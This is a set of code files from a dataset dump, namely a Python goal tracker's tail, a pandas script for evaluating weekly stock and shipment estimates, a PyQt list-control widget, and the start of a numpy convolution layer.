amount) < 0:\n goals[index].decrease_prog(goals[index].progress)\n print(\"That goal was reset to zero!\")\n else:\n goals[index].decrease_prog(amount)\n print(\"That goal was decreased by \" + str(amount) + \" steps!\")\n break\n except:\n print(\"Enter a valid index please.\")\n break\n\n else: # EXIT\n global running\n input(\"Work hard! Goodbye.\")\n running = False\n break\n\ndef print_goals():\n print(\"\\n-GOALS-\")\n print(\"--------------------------------------------------------------------------\")\n if len(goals) == 0:\n print(\"No goals currently\")\n else:\n i = 1\n for goal in goals:\n print(str(i), end=\" \")\n goal.status()\n i = i + 1\n print(\"--------------------------------------------------------------------------\\n\")\n\ndef save_goals():\n global goal_file, goals\n goal_file.close()\n\n goal_file = open(\"goal_file.txt\",\"w+\")\n for goal in goals:\n goal_file.write(goal.topic + \",\" + goal.due_date + \",\" + str(goal.progress) + \"\\n\")\n goal_file.close()\n\ndef load_goals():\n global goal_file, goals\n\n for line in goal_file:\n curr_goal = line.split(\",\")\n goals.append(Goal(curr_goal[0],curr_goal[1],int(curr_goal[2])))\n\ndef main():\n splash_screen()\n load_goals()\n while running:\n print_goals()\n menu()\n save_goals()\n\nmain()","sub_path":"GoalTracker/GoalTracker/GoalTracker.py","file_name":"GoalTracker.py","file_ext":"py","file_size_in_byte":4959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"51562330","text":"'''\nScript to create the table of the real data last week:\n* stock\n* sent, envios\n* returns, devos\n* pendientes recibidos\n\nThe scrip take the date for analyze as a previous Monday to the day of run the code\nThe format of output table (columns): 'date_week', 'family_desc', 'clima', 'size', 'info_type', 'q'\n\nData extraction as pandas DataFrame is appended to the historic data.\n\n'''\n\nimport os\nimport glob\nimport pandas as pd\nimport numpy as np\nimport datetime\n\n\ndef get_fam_size_clima(references, file=None, drop_duplicates=True, family=True, size=True, clima=True):\n '''\n\n Get 'family_desc', 'size', 'clima' for given list of references\n\n :param references: list\n list of references\n :param file: str\n path to csv file, '/var/lib/lookiero/stock/stock_tool/productos_preprocessed.csv.gz'\n :param drop_duplicates: binary\n drop duplicates in product file, if False it could increase the number of items in the output\n :param family: binary\n include family description\n :param size: binary\n include size description\n :param clima: binary\n include clima description\n :return: pandas.DataFrame()\n\n '''\n\n if file is None:\n file = '/var/lib/lookiero/stock/stock_tool/productos_preprocessed.csv.gz'\n query_product_text = 'reference in @references'\n\n usecols = ['reference']\n if family is True:\n usecols.append('family_desc')\n if size is True:\n usecols.append('size')\n if clima is True:\n usecols.append('clima')\n\n df = pd.read_csv(file, usecols=usecols).query(query_product_text)\n if drop_duplicates:\n df = df.drop_duplicates('reference', keep='last')\n return df\n\n\ndef get_current_season(date_):\n '''\n Return the season of the indicates date\n :param date_: date.time\n date\n :return: int\n number of the season\n '''\n if isinstance(date_, datetime.datetime):\n date_fisrt_season = datetime.datetime(2016, 1, 1)\n delta_season = (date_.year - date_fisrt_season.year) * 2\n if date_.month <= 6:\n season = delta_season + 1\n else:\n season = delta_season + 2\n else:\n print('Shoud be datetime')\n season = np.nan()\n return season\n\n\ndef get_stock_real(date_start, date_end, stock_path, productos_file, how='monday'):\n '''\n Extract stock for the indicated window of time from the snapshots\n\n :param date_start: datetime\n start of the period of interest\n :param date_end: datetime\n end of the period of interest\n :param stock_path: str\n path to the snapshots folder\n :param productos_file: str\n path to the product file\n :param how: str, default 'monday'\n if 'monday', take snapshots just for the one day, if 'week_mean': take mean for the week\n :return: pandas.DataFrame\n real stock\n '''\n\n df_stock_all = pd.DataFrame([])\n\n if how == 'week_mean':\n delta_date_stock = date_end - date_start\n\n for i in range(delta_date_stock.days + 1):\n day = date_start + datetime.timedelta(days=i)\n print(day)\n stock_fecha = day.strftime('%Y%m%d')\n stock_file = sorted(glob.glob(os.path.join(stock_path, stock_fecha + '*')))[0]\n print(stock_file)\n query_stock_text = 'real_stock > 0 and active > 0'\n\n df_stock_day = pd.read_csv(stock_file,\n usecols=['reference', 'family', 'real_stock', 'active']\n ).query(query_stock_text)\n df_stock_day['date'] = day\n\n df_stock_all = df_stock_all.append(df_stock_day)\n elif how == 'monday':\n print(date_start)\n stock_fecha = date_start.strftime('%Y%m%d')\n stock_file = sorted(glob.glob(os.path.join(stock_path, stock_fecha + '*')))[0]\n print(stock_file)\n query_stock_text = 'real_stock > 0 and active > 0'\n\n df_stock_all = pd.read_csv(stock_file,\n usecols=['reference', 'family', 'real_stock', 'active']\n ).query(query_stock_text)\n df_stock_all['date'] = date_start\n\n list_references_stock = df_stock_all[\"reference\"].to_list()\n df_stock_products = get_fam_size_clima(list_references_stock, productos_file, drop_duplicates=True)\n\n df_stock_reference = pd.merge(df_stock_all, df_stock_products, on='reference', how='left')\n df_stock = df_stock_reference.groupby(['family_desc', 'clima', 'size']).agg({'real_stock': 'sum'}).reset_index()\n if how == 'week_mean':\n df_stock['real_stock'] = df_stock['real_stock'] / 7\n\n df_stock['info_type'] = 'stock'\n df_stock = df_stock.rename(columns={'real_stock': 'q'})\n return df_stock\n\n\ndef get_pendientes_real(date_start, pedidos_file, productos_file):\n # if pedidos_file is None:\n # pedidos_file = ('/var/lib/lookiero/stock/stock_tool/stuart/pedidos.csv.gz')\n # if productos_file is None:\n # productos_file = ('/var/lib/lookiero/stock/stock_tool/productos_preprocessed.csv.gz')\n\n df_pedidos = pd.read_csv(pedidos_file, encoding=\"ISO-8859-1\")\n\n df_pedidos['date'] = pd.to_datetime(df_pedidos['date'])\n\n\n df_pedidos['date_week'] = df_pedidos['date'] - pd.TimedeltaIndex(df_pedidos['date'].dt.dayofweek, unit='d')\n df_pedidos['date_week'] = df_pedidos['date_week'].dt.date\n\n df_pedidos = df_pedidos[df_pedidos['date_week'] == date_start.date()]\n\n references_list = df_pedidos['reference'].to_list()\n df_productos = get_fam_size_clima(references_list, file=productos_file, drop_duplicates=True,\n family=False, size=True, clima=True)\n\n df_pedidos_fct = pd.merge(df_pedidos[['reference', 'family_desc', 'recibido']],\n df_productos,\n on='reference',\n how='left')\n\n df_pendientes = df_pedidos_fct.groupby(['family_desc', 'clima', 'size']).agg({'recibido': 'sum'}).reset_index()\n\n df_pendientes['info_type'] = 'pendientes'\n df_pendientes = df_pendientes.rename(columns={'recibido': 'q'})\n\n return df_pendientes\n\n\n#\n# def get_pendientes_real(date_actual, productos_file=None):\n# # pendientes_file = ('/var/lib/lookiero/stock/Pendiente_llegar')\n# if productos_file is None:\n# productos_file = ('/var/lib/lookiero/stock/stock_tool/productos_preprocessed.csv.gz')\n#\n# # date_datetime = fecha_stock_actual_start\n# # date_str = pendientes_fecha_start\n#\n# def load_pendientes(date_datetime):\n# '''\n# Load the PENDIENTES_XXX.txt from stock server based on the date in datetime format for the seasons not older then\n# previous to the actual season.\n#\n# :param date_datetime: datetime.datetime\n# The date of the day\n# :return: pandas.DataFrame\n# '''\n#\n# folder = ('/var/lib/lookiero/stock/Pendiente_llegar')\n# date_str = date_datetime.strftime('%d%m%Y')\n# file = os.path.join(folder, 'PENDIENTES_' + date_str + '.txt')\n# # pendientes_anteriro_file = os.path.join(pendientes_folder, 'PENDIENTES_' + pendientes_fecha_anterior + '.txt')\n#\n# df_raw = pd.read_csv(file, sep=\";\", header=None, error_bad_lines=False, encoding=\"ISO-8859-1\")\n#\n# df_raw = df_raw.drop(df_raw.columns[-1], axis=1)\n#\n# df_raw.columns = [\"reference\", \"pendiente\", \"date\", \"family\", \"family_desc\", \"color\", \"temporada\", \"size\",\n# \"brand\", \"precio_compra\", \"precio_compra_iva\", \"precio_compra_libras\",\n# \"precio_compra_libras_iva\"]\n#\n# # calculate the season o use from .txt\n# # df_raw['season'] = df_raw['reference'].str.extract('(^[0-9]+)')\n# # df_raw['season'] = df_raw['season'].fillna('0')\n# # df_raw['season'] = df_raw['season'].astype(int)\n#\n# season_actual = get_current_season(date_datetime)\n# df = df_raw[df_raw['temporada'] >= season_actual - 1]\n#\n# return df\n#\n# date_prior = date_actual - datetime.timedelta(days=7)\n# # fecha_pendientes_anterior = fecha_stock_actual_start - datetime.timedelta(days=7)\n# df_pendientes_actual_all = load_pendientes(date_actual)\n#\n# df_pendientes_prior_all = load_pendientes(date_prior)\n#\n# # add info about climate\n# # list_reference_pendientes = df_stock_all[\"reference\"].to_list()\n# # query_product_text = 'reference in @list_reference_stock'\n#\n#\n# references_list = set(list(df_pendientes_actual_all.reference.to_list() + df_pendientes_prior_all.reference.to_list()))\n#\n# df_productos_all_ref_cl = get_fam_size_clima(references_list, file=productos_file, drop_duplicates=True,\n# family=False, size=False, clima=True)\n#\n#\n#\n#\n# # df_productos_all_ref_cl = pd.read_csv(productos_file,\n# # usecols=['reference', 'clima'])\n#\n# df_pendientes_actual = pd.merge(df_pendientes_actual_all,\n# df_productos_all_ref_cl,\n# on='reference',\n# how='left')\n#\n# df_pendientes_prior = pd.merge(df_pendientes_prior_all,\n# df_productos_all_ref_cl,\n# on='reference',\n# how='left')\n#\n# df_pendientes_actual['clima'] = df_pendientes_actual['clima'].fillna('no_definido')\n# df_pendientes_prior['clima'] = df_pendientes_prior['clima'].fillna('no_definido')\n#\n# df_pendientes_actual_fct = df_pendientes_actual.groupby(['family_desc', 'clima', 'size']).agg(\n# {'pendiente': 'sum'}).reset_index()\n#\n# df_pendientes_anterior_fct = df_pendientes_prior.groupby(['family_desc', 'clima', 'size']).agg(\n# {'pendiente': 'sum'}).reset_index()\n#\n# df_pendientes_actual_fct = df_pendientes_actual_fct.rename(columns={'pendiente': 'pendiente_actual'})\n# df_pendientes_anterior_fct = df_pendientes_anterior_fct.rename(columns={'pendiente': 'pendiente_anterior'})\n#\n#\n# df_pendientes_fct = pd.merge(df_pendientes_actual_fct,\n# df_pendientes_anterior_fct,\n# on=['family_desc', 'clima', 'size'])\n#\n# df_pendientes_fct['pendiente_real'] = np.abs(\n# df_pendientes_fct['pendiente_anterior'] - df_pendientes_fct['pendiente_actual'])\n#\n# df_pendientes_fct['info_type'] = 'pendientes'\n# df_pendientes_fct = df_pendientes_fct.rename(columns={'pendiente_real': 'q'})\n#\n#\n# df_pendientes_fct = df_pendientes_fct.drop(columns=['pendiente_actual', 'pendiente_anterior'])\n#\n# return df_pendientes_fct\n\n\ndef get_devos_real(date_start_str, date_end_str, venta_file, productos_file):\n\n # if venta_file is None:\n # venta_file = ('/var/lib/lookiero/stock/stock_tool/demanda_preprocessed.csv.gz')\n\n query_devos_text = 'date_terminated >= @date_start_str and date_terminated <= @date_end_str and purchased == 0'\n\n df_devos_raw = pd.read_csv(venta_file,\n usecols=['reference', 'family_desc', 'size', 'date_terminated', 'purchased']\n # 'date_co', 'date_ps_done'\n ).query(query_devos_text)\n\n df_products_ref_cl = get_fam_size_clima(df_devos_raw.reference.to_list(), file=productos_file,\n drop_duplicates=True, family=False, size=False, clima=True)\n\n\n df_devos_ref_cl = pd.merge(df_devos_raw,\n df_products_ref_cl,\n on='reference',\n how='left')\n\n df_devos = df_devos_ref_cl.groupby(['family_desc', 'clima', 'size']).agg({'reference': 'count'}).reset_index()\n\n df_devos['info_type'] = 'devos'\n df_devos = df_devos.rename(columns={'reference': 'q'})\n\n\n return df_devos\n\n\ndef get_envios_real(date_start_str, date_end_str, venta_file, productos_file):\n\n # if venta_file is None:\n # venta_file = ('/var/lib/lookiero/stock/stock_tool/demanda_preprocessed.csv.gz')\n\n query_envios_text = 'date_ps_done >= @date_start_str and date_ps_done <= @date_end_str'\n\n df_envios_raw = pd.read_csv(venta_file,\n usecols=['reference', 'family_desc', 'size', 'date_ps_done']\n # 'date_co',, 'date_terminated', 'purchased'\n ).query(query_envios_text)\n\n df_products_ref_cl = get_fam_size_clima(df_envios_raw.reference.to_list(), file=productos_file,\n drop_duplicates=True, family=False, size=False, clima=True)\n\n df_envios_ref_cl = pd.merge(df_envios_raw,\n df_products_ref_cl,\n on='reference',\n how='left')\n\n df_envios = df_envios_ref_cl.groupby(['family_desc', 'clima', 'size']).agg({'reference': 'count'}).reset_index()\n\n df_envios['info_type'] = 'envios'\n df_envios = df_envios.rename(columns={'reference': 'q'})\n\n return df_envios\n\n\n\ndef apply_distribution_unq(df, file_distribution):\n print('Applying size distribution to the UNQ size for not accessories')\n # if file_distribution is None:\n #\n # file_distribution = ('/var/lib/lookiero/stock/stock_tool/stuart/distribucion_osfa.csv.gz')\n df = df.reset_index(drop=True)\n distr_osfa = pd.read_csv(file_distribution)\n distr_osfa = distr_osfa.fillna(0)\n\n list_family_unq = ['ABRIGO', 'BLUSA', 'CAMISETA', 'CARDIGAN', 'CHAQUETA', 'DENIM', 'FALDA', 'JERSEY', 'JUMPSUIT',\n 'PANTALON', 'PARKA', 'SHORT', 'SUDADERA', 'TOP', 'TRENCH', 'VESTIDO']\n\n df_unq = df[(df['family_desc'].isin(list_family_unq)) & (df['size'] == 'UNQ')]\n\n\n df_unq = df_unq.rename(columns={'size': 'size_unq',\n 'q': 'q_unq'})\n df_osfa = pd.merge(df_unq, distr_osfa, on='family_desc')\n\n df_osfa['q_osfa'] = df_osfa['q_unq'] * df_osfa['osfa']\n # df_osfa['q'] = df_osfa['q_unq'] + df_osfa['q_osfa']\n\n # df_real[(df_real['family_desc'].isin(list_family_unq)) & (df_real['size'] == 'UNQ')] = df_real_osfa\n\n df = df.drop(df_unq.index)\n # df2 = df[~df.index.isin(df_unq.index)]\n\n\n df = pd.merge(df, df_osfa, on=['family_desc', 'clima', 'size', 'info_type'], how='left')\n\n df['q_osfa'] = df['q_osfa'].fillna(0)\n df['q'] = df['q'] + df['q_osfa']\n\n # df = df.append(df_osfa)\n df = df.drop(columns=['size_unq', 'q_unq', 'osfa', 'q_osfa'])\n return df\n\n\ndef merge_eval_estimates_real(date_start_str, file_estimates, file_real, file_save):\n print('Merging output of Stuart and real data')\n # if file_estimates is None:\n # file_estimates = ('/var/lib/lookiero/stock/stock_tool/eval_estimates.csv.gz')\n #\n # if file_real is None:\n # file_real = ('/var/lib/lookiero/stock/stock_tool/eval_real_data.csv.gz')\n #\n # if file_save is None:\n # file_save = ('/var/lib/lookiero/stock/stock_tool/eval_estimates_real.csv.gz')\n\n df_estimates_raw = pd.read_csv(file_estimates)\n\n df_estimates_raw = df_estimates_raw[df_estimates_raw['date_week'] == date_start_str]\n\n df_estimates_raw = df_estimates_raw[df_estimates_raw['id_stuart'] == df_estimates_raw['id_stuart'].max()]\n\n print('Print Stuart ID ', df_estimates_raw['id_stuart'].max())\n df_estimates = df_estimates_raw[df_estimates_raw['caracteristica'] == 'size']\n\n\n df_estimates = df_estimates.rename(columns={'clase': 'size',\n 'q': 'q_estimates'})\n\n # drop 'sin_clase'\n df_estimates = df_estimates[df_estimates['clima'] != 'sin_clase']\n df_estimates = df_estimates[df_estimates['size'] != 'sin_clase']\n\n # drop pedido\n df_estimates = df_estimates[df_estimates['info_type'] != 'pedido']\n\n list_clima = [0., 0.5, 1., 1.5, 2., 2.5, 3.]\n df_estimates = df_estimates[~df_estimates['clima'].isin(list_clima)]\n\n\n\n\n df_real = pd.read_csv(file_real)\n\n df_real = df_real.rename(columns={'q': 'q_real'})\n # df_real['q_real'] = df_real['q_real'].astype(float)\n dic_clima = {'0.0': '0',\n '1.0': '1',\n '2.0': '2',\n '3.0': '3'}\n\n df_real['clima'] = df_real['clima'].astype('str').replace(dic_clima)\n\n df = pd.merge(df_estimates, df_real,\n on=['date_week', 'family_desc', 'clima', 'size', 'info_type'],\n how='outer')\n df['q_real'] = df['q_real'].fillna(0)\n\n # TODO: as type integer or np.round\n df['q_estimates'] = df['q_estimates'].fillna(0).astype(int)\n # df['q_real'] = df['q_real'].astype((float))\n\n\n\n df['q_dif'] = df['q_estimates'] - df['q_real']\n\n\n\n\n # TODO add algorithms part of envios\n\n df['q_estimates_alg'] = df['q_estimates'] / df.groupby(['id_stuart', 'date_week', 'info_type'])['q_estimates'].transform('sum')\n df['q_real_rel'] = df['q_real'] / df.groupby(['id_stuart', 'date_week', 'info_type'])['q_real'].transform('sum')\n\n df.loc[df['info_type'] != 'envios', 'q_estimates_alg'] = 0\n df.loc[df['info_type'] != 'envios', 'q_real_rel'] = 0\n\n df['q_dif_alg'] = df['q_estimates_alg'] - df['q_real_rel']\n\n\n df['q_real'] = np.round(df['q_real'], 0)\n\n\n # eval_estimates_real_data < -\n # file_check(remote_file=\"eval_estimates_real.csv.gz\")\n #\n #\n # eval_estimates_real_data[, q_estimates_rel := q_estimates / sum(q_estimates), .(date_week, id_stuart, info_type)]\n # eval_estimates_real_data[, q_real_rel := q_real / sum(q_real), .(date_week, id_stuart, info_type)]\n # eval_estimates_real_data[id_stuart == 4 & date_week == \"2020-08-17\" & info_type == \"envios\",\n # .(est=round(sum(q_estimates_rel), 3), real=round(sum(q_real_rel), 3)),\n # .(family_desc, size)][order(family_desc, size, -real)]\n # eval_estimates_real_data[id_stuart == 4 & date_week == \"2020-08-17\" & info_type == \"envios\",\n # .(est=round(sum(q_estimates), 3), real=round(sum(q_real), 3))] business\n\n\n size_dic = {'XXS': '0-XXS',\n 'XS': '1-XS',\n 'S': '2-S',\n 'M': '3-M',\n 'L': '4-L',\n 'XL': '5-XL',\n 'XXL': '6-XXL',\n 'XXXL': '7-XXXL',\n 'X4XL': '8-X4XL'}\n df['size_desc'] = df['size'].replace(size_dic)\n\n\n if not os.path.isfile(file_save):\n print('Creating a new file ' + file_save)\n df.to_csv(file_save, mode='a', index=False, header=True)\n else:\n print('Appending to existing file ' + file_save)\n df.to_csv(file_save, mode='a', index=False, header=False)\n\n return df\n\n\n\n####################################################################################################################\n# run\n\n\n\n\ndef run_eval_estimates_real(date_start='today', stock_path=None, productos_file=None, pedidos_file=None,\n venta_file=None, file_distribution_osfa=None, file_estimates=None, path_save=None,\n path_save_date=None):\n\n if date_start == 'today':\n day_today = datetime.datetime.now()\n\n date_start = day_today - datetime.timedelta(days = 7 + day_today.weekday())\n elif isinstance(date_start, datetime.datetime):\n print('datetime correct')\n pass\n else:\n print('Error: date_start should be datetime')\n\n\n\n date_start_str = datetime.datetime.strftime(date_start, '%Y-%m-%d')\n date_end = date_start + datetime.timedelta(days=6)\n\n date_end_str = datetime.datetime.strftime(date_end, '%Y-%m-%d')\n\n print('Getting real data for ' + date_start_str + ' - ' + date_end_str)\n # fecha_stock_actual_start_str = '2020-07-13'\n\n\n\n\n\n ######################################################################################3\n # path\n if stock_path is None:\n stock_path = ('/var/lib/lookiero/stock/snapshots')\n if productos_file is None:\n productos_file = ('/var/lib/lookiero/stock/stock_tool/productos_preprocessed.csv.gz')\n\n if venta_file is None:\n # venta_file = ('/var/lib/lookiero/stock/stock_tool/demanda_preprocessed.csv.gz')\n venta_file = ('/var/lib/lookiero/stock/stock_tool/demanda.csv.gz')\n if pedidos_file is None:\n pedidos_file = ('/var/lib/lookiero/stock/stock_tool/stuart/pedidos.csv.gz')\n if file_distribution_osfa is None:\n file_distribution_osfa = ('/var/lib/lookiero/stock/stock_tool/stuart/distribucion_osfa.csv.gz')\n if file_estimates is None:\n file_estimates = ('/var/lib/lookiero/stock/stock_tool/eval_estimates.csv.gz')\n if path_save is None:\n path_save = ('/var/lib/lookiero/stock/stock_tool')\n if path_save_date is None:\n path_save_date = ('/var/lib/lookiero/stock/stock_tool/kpi/eval_real_history')\n #########################################################\n\n\n df_real = pd.DataFrame([])\n try:\n print('Getting stock real for the dates: ' + date_start_str + ' - ' + date_end_str)\n df_stock = get_stock_real(date_start, date_end, stock_path, productos_file, how='monday')\n df_real = df_real.append(df_stock)\n except:\n print('Error in getting real stock')\n pass\n\n # try:\n # print('Getting compra real')\n # df_real = df_real.append(get_compra_real(date_start_str))\n # except:\n # print('Error in getting real compra. Check if data is updated on the Google drive')\n # pass\n\n try:\n print('Getting pendientes real')\n\n df_real = df_real.append(get_pendientes_real(date_start, pedidos_file, productos_file))\n except:\n print('Error in getting pendientes real')\n pass\n\n try:\n print('Getting devos real')\n df_real = df_real.append(get_devos_real(date_start_str, date_end_str, venta_file, productos_file))\n except:\n print('Error in getting devos compra')\n pass\n\n try:\n print('Getting envios real')\n df_real = df_real.append(get_envios_real(date_start_str, date_end_str, venta_file, productos_file))\n except:\n print('Error in getting envios compra')\n pass\n\n\n df_real = apply_distribution_unq(df_real, file_distribution_osfa)\n\n # add dates\n df_real['date_week'] = date_start.date()\n\n\n\n\n\n # save\n name_save = 'eval_real_data.csv.gz'\n name_save_date = 'eval_real_data_' + date_start_str + '.csv.gz'\n name_save_merged = 'eval_estimates_real.csv.gz'\n\n # path_save_date = ('/var/lib/lookiero/stock/stock_tool/kpi/eval_real_history')\n # df_real.to_csv(os.path.join(path_save, name_save), mode='a', index=False) # , header=False\n\n # save historical data with date in the file name\n\n df_real.to_csv(os.path.join(path_save_date, name_save_date), index=False, header=True)\n # if not os.path.isfile(os.path.join(path_save_date, name_save_date)):\n # df_real.to_csv(os.path.join(path_save_date, name_save_date), mode='a', index=False, header=True)\n # else: # else it exists so append without writing the header\n # df_real.to_csv(os.path.join(path_save_date, name_save_date), mode='a', index=False, header=False)\n\n # save appended data\n if not os.path.isfile(os.path.join(path_save, name_save)):\n df_real.to_csv(os.path.join(path_save, name_save), mode='a', index=False, header=True)\n else:\n df_real.to_csv(os.path.join(path_save, name_save), mode='a', index=False, header=False)\n\n\n # # if file does not exist write header\n # if not os.path.isfile(os.path.join(path_save, name_save)):\n # df_real.to_csv(os.path.join(path_save, name_save), mode='a', index=False, header=True)\n # else: # else it exists so append without writing the header\n # df_real.to_csv(os.path.join(path_save, name_save), mode='a', index=False, header=False)\n file_real = os.path.join(path_save_date, name_save_date)\n file_merged_save = os.path.join(path_save, name_save_merged)\n df_merged = merge_eval_estimates_real(date_start_str, file_estimates, file_real=file_real, file_save=file_merged_save)\n\n\n\nif __name__ == \"__main__\":\n # path\n path_save = ('/var/lib/lookiero/stock/stock_tool')\n path_save_date = ('/var/lib/lookiero/stock/stock_tool/kpi/eval_real_history')\n\n # path_save = ('/home/darya/Documents/stuart/data/kpi/eval_pruebas')\n # path_save_date = ('/home/darya/Documents/stuart/data/kpi/eval_pruebas')\n\n # start with last week of july and first week of august\n\n date_start = datetime.datetime(2020, 7, 27)\n run_eval_estimates_real(date_start=date_start, path_save=path_save, path_save_date=path_save_date)\n\n date_start = datetime.datetime(2020, 8, 3)\n run_eval_estimates_real(date_start=date_start, path_save=path_save, path_save_date=path_save_date)\n\n date_start = datetime.datetime(2020, 8, 10)\n run_eval_estimates_real(date_start=date_start, path_save=path_save, path_save_date=path_save_date)\n\n date_start = datetime.datetime(2020, 8, 17)\n run_eval_estimates_real(date_start=date_start, path_save=path_save, path_save_date=path_save_date)\n\n run_eval_estimates_real(date_start='today', path_save=path_save, path_save_date=path_save_date)\n\n","sub_path":"create_eval_real.py","file_name":"create_eval_real.py","file_ext":"py","file_size_in_byte":25188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"280856212","text":"#! /usr/bin/env python\n##########################################################################\n# CAPSUL - Copyright (C) CEA, 2013\n# Distributed under the terms of the CeCILL-B license, as published by\n# the CEA-CNRS-INRIA. Refer to the LICENSE file or to\n# http://www.cecill.info/licences/Licence_CeCILL-B_V1-en.html\n# for details.\n##########################################################################\n\nimport logging\nimport sys\nimport traceback\n\nfrom soma.qt_gui.qt_backend import QtGui, QtCore\nfrom observable import Observable\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n _fromUtf8 = lambda s: s\n\nfrom File import File\nfrom Float import Float\nfrom String import String\nfrom Directory import Directory\n\n\nclass List(QtGui.QWidget, Observable):\n \"\"\" Control to enter a list of elments of dynamic types.\n The properties \"value\" and \"valid\" contain the current value of\n the control and a bool set to True if the control is filled\n correctely respectivelly.\n \"\"\"\n\n def __init__(self, inner_controls, trait_name, value=None,\n is_enabled=True):\n \"\"\" Method to initialize a List control.\n\n Parameters\n ----------\n inner_controls: str (madatory)\n the description of the list content, each depth beeing\n represented with a '_'\n trait_name: str (mandatory)\n the corresponding trait name\n value: str (optional)\n the default string\n is_enabled: bool (mandatory)\n parameter to activate or unactivate the control\n \"\"\"\n # Default parameters\n self._trait_name = trait_name\n self._inner_controls = inner_controls\n self._value = None\n self._default_value = value or []\n self._is_valid = False\n self._controls = []\n self._del_buttons = []\n self._is_enabled = is_enabled\n\n # Inheritance\n Observable.__init__(self, [\"value\", \"update\"])\n super(List, self).__init__()\n\n # Build control\n self._layout = QtGui.QVBoxLayout()\n self._grid_layout = QtGui.QGridLayout()\n self._initUI()\n self._layout.addLayout(self._grid_layout)\n self.setLayout(self._layout)\n\n # Set default status\n if self._default_value == []:\n self._set_value(self._default_value)\n else:\n for current_value in self._default_value:\n self._addControl(current_value)\n\n def _initUI(self):\n \"\"\" Build the control user interface.\n \"\"\"\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding,\n QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.sizePolicy().hasHeightForWidth())\n self.setSizePolicy(sizePolicy)\n\n self._layout.setSpacing(0)\n self._layout.setSizeConstraint(QtGui.QLayout.SetMinimumSize)\n self._layout.setContentsMargins(0, 0, 0, 0)\n\n self._add_control = QtGui.QToolButton(self)\n self._add_control.setEnabled(self._is_enabled)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\":/icones/add\")),\n QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self._add_control.setIcon(icon)\n self._add_control.clicked.connect(self._onAddListClicked)\n\n self._layout.addWidget(self._add_control)\n\n def _updateUI(self, row_to_delete):\n \"\"\" Delete a row from the control\n Clean the grid layout\n \"\"\"\n # first column\n to_remove_control = self._grid_layout.itemAtPosition(\n row_to_delete, 0)\n widget = to_remove_control.widget()\n self._grid_layout.removeWidget(widget)\n widget.deleteLater()\n\n # second column\n to_remove_control = self._grid_layout.itemAtPosition(\n row_to_delete, 1)\n widget = to_remove_control.widget()\n self._grid_layout.removeWidget(widget)\n widget.deleteLater()\n\n def _onAddListClicked(self):\n \"\"\" Event to create a new control\n \"\"\"\n self._addControl()\n self.notify_observers(\"update\")\n\n def _addControl(self, value=None):\n \"\"\" Create a new control\n \"\"\"\n control = self._create_control(value)\n button = QtGui.QToolButton(self)\n button.setEnabled(self._is_enabled)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\":/icones/delete\")),\n QtGui.QIcon.Normal, QtGui.QIcon.Off)\n button.setIcon(icon)\n button.clicked.connect(self._onDelListClicked)\n\n self._del_buttons.append(button)\n\n index = len(self._controls)\n self._grid_layout.addWidget(control, index - 1, 0)\n self._grid_layout.addWidget(button, index - 1, 1)\n\n def _onDelListClicked(self):\n \"\"\" Delete a control from the list\n \"\"\"\n # Find the botton the send the signal\n clickedButton = self.sender()\n\n # Remove the associted control\n index = self._del_buttons.index(clickedButton)\n self._del_buttons[index] = None\n self._controls[index] = None\n\n # Recreate the upper container\n self._updateUI(index)\n\n # Notify observers if all remaining controls are valid\n self._on_value_changed()\n self.notify_observers(\"update\")\n\n def _validate(self):\n \"\"\" Check if the list contains valid elements.\n \"\"\"\n valid_controls = [control for control in self._controls if control]\n all_controls_valid = True\n for control in valid_controls:\n all_controls_valid = all_controls_valid and control.valid\n self._is_valid = all_controls_valid\n\n def _on_value_changed(self, signal=None):\n \"\"\" Method to update list control when an inner control changed\n \"\"\"\n valid_controls = [control for control in self._controls if control]\n result = []\n for control in valid_controls:\n result.append(control.value)\n self._set_value(result)\n\n def _create_control(self, value=None):\n \"\"\"Create the inner control\n \"\"\"\n parameter = self._inner_controls.split(\"_\")\n expression = \"{0}(\".format(parameter[0])\n if parameter[0] == \"List\":\n inner_controls = \"_\".join(parameter[1:])\n expression += \"inner_controls, \"\n expression += \"self._trait_name, \"\n if value != None:\n expression += \"value, \"\n expression += \"is_enabled=self._is_enabled, \"\n expression += \")\"\n try:\n # Create control\n control = eval(expression)\n\n # Add observer\n control.add_observer(\"value\", self._on_value_changed)\n\n # Store the created control\n self._controls.append(control)\n except:\n logging.error(\"Could not create List control from\"\n \"expression \\\"{0}\\\"\".format(expression))\n exc_info = sys.exc_info()\n logging.error(\"\".join(traceback.format_exception(*exc_info)))\n return\n\n return control\n\n def _set_value(self, value):\n \"\"\" Method to update the control status.\n\n Parameters\n ----------\n value: list (mandatory)\n new list\n \"\"\"\n self._value = value\n self._validate()\n if self._is_valid:\n self.notify_observers(\"value\", value=value,\n trait_name=self._trait_name)\n\n value = property(lambda x: x._value, _set_value)\n valid = property(lambda x: x._is_valid)\n","sub_path":"capsul/wip/apps_qt/base/controller/controls/List.py","file_name":"List.py","file_ext":"py","file_size_in_byte":7667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"184840664","text":"import numpy as np\nfrom .Utils import conv_forward_flatten\nfrom .Utils import pool_forward_flatten\nfrom .Utils import pad\nfrom .Utils import pad_each_element\nfrom .Utils import ADAM_update\n\nclass Conv:\n def __init__(self, name, params):\n self.name = name\n self.pad = params[name]['pad']\n self.stride = params[name]['stride']\n self.w_w = params[name]['w_w']\n self.ic = params[name]['ic']\n self.oc = params[name]['oc']\n self.learn_rate = params['learn_rate']\n init_scale = params['init_scale']\n\n # D-1: output channel (oc)\n # D-2: input channel (ic)\n # D-3, D-4: height / width of window (w_w)\n # shape of W: (D-1, D-2, D-3, D-4)\n self.w = init_scale * np.random.randn(self.oc, self.ic, self.w_w, self.w_w)\n self.m_t = np.zeros_like(self.w)\n self.n_t = np.zeros_like(self.w)\n self.update_iter = 0.\n\n def forward(self, x):\n self.x = x\n flatten_x, output_row_num, output_col_num = 